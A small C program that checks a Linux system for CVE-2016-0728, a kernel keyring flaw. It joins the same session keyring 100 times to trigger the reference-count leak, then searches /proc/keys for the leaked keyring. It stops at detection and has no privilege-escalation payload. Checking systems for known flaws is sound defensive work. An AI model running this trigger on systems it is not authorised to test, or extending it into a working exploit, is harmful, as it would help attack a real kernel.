CVE-2016-0728.c

#define _GNU_SOURCE
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>

void vulnerable(const char *key){
    FILE *f = fopen("/proc/keys", "rb");
    if (f){
    
        char *line = NULL;
        size_t size = 0, nread;
        while ((nread = getline(&line, &size, f)) != -1){
            if (strstr(line, key) != NULL){
                puts("Vulnerable to CVE-2016-0728");
                break;
            }
        }
        free(line);
        fclose(f);
    }
}

int main(int argc, const char *argv[]){
    int i = 0;
    const char *keyring = "leaked-keyring";

    key_serial_t serial;

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial,
           KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring);
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
    vulnerable(keyring);
    return 0;
}